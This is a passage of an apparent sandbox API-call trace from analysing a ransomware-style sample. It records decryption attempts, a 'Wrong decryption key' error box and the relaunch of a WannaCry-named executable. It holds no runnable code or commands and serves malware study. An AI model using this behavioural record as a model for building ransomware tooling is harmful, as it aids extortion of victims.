lpMsg=0xb6216e990) returned 0 [0039.296] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0039.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDecrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDecrypt", cchWideChar=13, lpMultiByteStr=0xb62478cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDecrypt", lpUsedDefaultChar=0x0) returned 13 [0039.297] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDecrypt") returned 0x7ffe2a5bf86c [0039.297] CryptDecrypt (in: hKey=0xb62455b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb624f1da0, pdwDataLen=0xb6216ea48 | out: pbData=0xb624f1da0, pdwDataLen=0xb6216ea48) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.298] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0039.298] PeekMessageW (in: lpMsg=0xb6216ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef20) returned 0 [0039.298] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0039.298] PeekMessageW (in: lpMsg=0xb6216ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ec00) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216ec00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ec00) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef20) returned 0 [0039.298] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0039.298] PeekMessageW (in: lpMsg=0xb6216e910, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216e910) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef20) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216ef20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ef20) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216f240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f240) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.298] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.299] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.299] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.299] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.299] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.299] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.299] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.299] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0039.299] PeekMessageW (in: lpMsg=0xb6216f470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f470) returned 0 [0039.299] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0039.299] PeekMessageW (in: lpMsg=0xb6216ebd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ebd0) returned 0 [0039.299] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0039.299] CryptDestroyKey (hKey=0xb62455b20) returned 1 [0039.299] PeekMessageW (in: lpMsg=0xb6216f470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f470) returned 0 [0039.299] PeekMessageW (in: lpMsg=0xb6216f470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f470) returned 0 [0039.299] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0039.300] PeekMessageW (in: lpMsg=0xb6216f150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f150) returned 0 [0039.300] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0039.300] PeekMessageW (in: lpMsg=0xb6216ee30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ee30) returned 0 [0039.300] PeekMessageW (in: lpMsg=0xb6216ee30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216ee30) returned 0 [0039.300] PeekMessageW (in: lpMsg=0xb6216f150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f150) returned 0 [0039.300] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0039.300] PeekMessageW (in: lpMsg=0xb6216eb40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216eb40) returned 0 [0039.300] PeekMessageW (in: lpMsg=0xb6216f150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f150) returned 0 [0039.300] PeekMessageW (in: lpMsg=0xb6216f150, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f150) returned 0 [0039.300] PeekMessageW (in: lpMsg=0xb6216f470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f470) returned 0 [0039.300] PeekMessageW (in: lpMsg=0xb6216f470, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f470) returned 0 [0039.300] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.300] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0039.300] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.300] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0039.300] PeekMessageW (in: lpMsg=0xb6216f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f2e0) returned 0 [0039.300] PeekMessageW (in: lpMsg=0xb6216f2e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f2e0) returned 0 [0039.300] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.300] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0039.300] PeekMessageW (in: lpMsg=0xb6216eff0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216eff0) returned 0 [0039.300] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.301] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0039.301] PeekMessageW (in: lpMsg=0xb6216f080, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f080) returned 0 [0039.301] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0039.301] PeekMessageW (in: lpMsg=0xb6216f080, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f080) returned 0 [0039.301] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0039.301] CryptReleaseContext (hProv=0xb62496e00, dwFlags=0x0) returned 1 [0039.301] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.301] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0039.301] PeekMessageW (in: lpMsg=0xb6216f080, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f080) returned 0 [0039.301] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.301] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.301] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.301] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.302] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.302] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0039.302] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0039.302] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0039.302] MessageBoxW (hWnd=0x0, lpText="Wrong decryption key", lpCaption="Error!", uType=0x10010) returned 1 [0039.308] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.308] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x86, wParam=0x0, lParam=0xc017e) returned 0x1 [0039.309] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.309] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.309] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x6, wParam=0x0, lParam=0xc017e) returned 0x0 [0039.310] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.310] GetWindowLongW (hWnd=0x601e4, nIndex=-20) returned 256 [0039.310] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x84, wParam=0x0, lParam=0x1fc0360) returned 0x1 [0039.310] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.310] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.310] GetClientRect (in: hWnd=0x601e4, lpRect=0xb6216f390 | out: lpRect=0xb6216f390) returned 1 [0039.310] GetCursorPos (in: lpPoint=0xb6216f3b0 | out: lpPoint=0xb6216f3b0*(x=864, y=508)) returned 1 [0039.310] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216f3b0 | out: lpPoint=0xb6216f3b0) returned 1 [0039.310] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0039.310] SetCursor (hCursor=0x10003) returned 0x10007 [0039.310] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.310] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x200, wParam=0x0, lParam=0x186021f) returned 0x0 [0039.310] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.310] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0x430107c1, lParam=0x0) returned 0x1 [0039.310] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.310] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.310] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.310] SetBkColor (hdc=0x430107c1, color=0xf0f0f0) returned 0xf0f0f0 [0039.310] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.310] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0x430107c1, lParam=0x4) returned 0x0 [0039.310] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.311] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.311] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.311] SetBkColor (hdc=0x430107c1, color=0xf0f0f0) returned 0xf0f0f0 [0039.311] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.311] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.311] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0039.311] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216ef10) returned 0x0 [0039.311] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.311] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.311] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0039.311] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216ef10) returned 0x0 [0039.312] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.312] GetWindowLongW (hWnd=0x601e4, nIndex=-20) returned 256 [0039.313] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x84, wParam=0x0, lParam=0x1fc0360) returned 0x1 [0039.313] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.313] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.313] GetClientRect (in: hWnd=0x601e4, lpRect=0xb6216f390 | out: lpRect=0xb6216f390) returned 1 [0039.313] GetCursorPos (in: lpPoint=0xb6216f3b0 | out: lpPoint=0xb6216f3b0*(x=864, y=508)) returned 1 [0039.313] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216f3b0 | out: lpPoint=0xb6216f3b0) returned 1 [0039.313] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0039.313] SetCursor (hCursor=0x10003) returned 0x10003 [0039.313] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.313] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x200, wParam=0x0, lParam=0x186021f) returned 0x0 [0039.341] GetForegroundWindow () returned 0xc017e [0039.341] GetWindowLongPtrW (hWnd=0xc017e, nIndex=-21) returned 0xb6216fab0 [0039.390] GetForegroundWindow () returned 0xc017e [0039.391] GetWindowLongPtrW (hWnd=0xc017e, nIndex=-21) returned 0xb6216fab0 [0039.435] GetForegroundWindow () returned 0xc017e [0039.435] GetWindowLongPtrW (hWnd=0xc017e, nIndex=-21) returned 0xb6216fab0 [0039.482] GetForegroundWindow () returned 0xc017e [0039.482] GetWindowLongPtrW (hWnd=0xc017e, nIndex=-21) returned 0xb6216fab0 [0039.526] GetForegroundWindow () returned 0x501fe [0039.526] GetWindowLongPtrW (hWnd=0x501fe, nIndex=-21) returned 0x0 [0039.571] GetForegroundWindow () returned 0xc017e [0039.571] GetWindowLongPtrW (hWnd=0xc017e, nIndex=-21) returned 0xb6216fab0 [0039.624] GetForegroundWindow () returned 0xc017e [0039.624] GetWindowLongPtrW (hWnd=0xc017e, nIndex=-21) returned 0xb6216fab0 [0039.653] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.653] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x46, wParam=0x0, lParam=0xb6216f670) returned 0x0 [0039.653] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.653] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x47, wParam=0x0, lParam=0xb6216f670) returned 0x0 [0039.653] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.653] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0039.653] NtdllDefWindowProc_W (hWnd=0x6002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0039.653] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.653] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0039.654] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.654] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.654] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0039.657] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0039.657] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.657] GetWindowLongW (hWnd=0x601e4, nIndex=-20) returned 256 [0039.657] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x84, wParam=0x0, lParam=0x2010312) returned 0x1 [0039.657] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.657] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.657] GetClientRect (in: hWnd=0x601e4, lpRect=0xb6216f8f0 | out: lpRect=0xb6216f8f0) returned 1 [0039.657] GetCursorPos (in: lpPoint=0xb6216f910 | out: lpPoint=0xb6216f910*(x=786, y=513)) returned 1 [0039.657] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216f910 | out: lpPoint=0xb6216f910) returned 1 [0039.657] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0039.657] SetCursor (hCursor=0x10003) returned 0x10003 [0039.657] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0039.658] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0039.658] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.658] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x200, wParam=0x0, lParam=0x18b01d1) returned 0x0 [0039.658] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0039.658] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0039.658] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0039.658] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.658] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0x430107c1, lParam=0x0) returned 0x1 [0039.658] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.658] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.658] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.658] SetBkColor (hdc=0x430107c1, color=0xf0f0f0) returned 0xf0f0f0 [0039.658] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.658] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0x430107c1, lParam=0x4) returned 0x0 [0039.658] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.658] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.658] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.658] SetBkColor (hdc=0x430107c1, color=0xf0f0f0) returned 0xf0f0f0 [0039.658] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.658] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.658] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0039.658] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f3e0) returned 0x0 [0039.659] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.659] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.659] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0039.659] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f3e0) returned 0x0 [0039.659] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0039.659] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0039.659] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.660] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.660] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x1d [0039.660] GetCurrentDirectoryW (in: nBufferLength=0x1d, lpBuffer=0xb62486d70 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0039.660] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xb6216f860*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xb6216f7f0 | out: lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessInformation=0xb6216f7f0*(hProcess=0x194, hThread=0x1dc, dwProcessId=0xa3c, dwThreadId=0xa98)) returned 1 [0039.666] CloseHandle (hObject=0x1dc) returned 1 [0039.666] CloseHandle (hObject=0x194) returned 1 [0039.666] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 1 [0039.666] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216f920) returned 0 [0039.666] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216f920) returned 0 [0039.666] TranslateMessage (lpMsg=0xb6216f920) returned 0 [0039.666] DispatchMessageW (lpMsg=0xb6216f920) returned 0x0 [0039.666] Shell_NotifyIconW (dwMessage=0x1, lpData=0xb6216ef50) returned 1 [0039.670] KillTimer (hWnd=0x6002c, uIDEvent=0x1) returned 1 [0039.670] SetTimer (hWnd=0x6002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0039.670] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 1 [0039.670] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216f920) returned 0 [0039.670] TranslateMessage (lpMsg=0xb6216f920) returned 0 [0039.670] DispatchMessageW (lpMsg=0xb6216f920) returned 0x0 [0039.670] GetForegroundWindow () returned 0x601e4 [0039.670] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.670] GetCursorPos (in: lpPoint=0xb6216f780 | out: 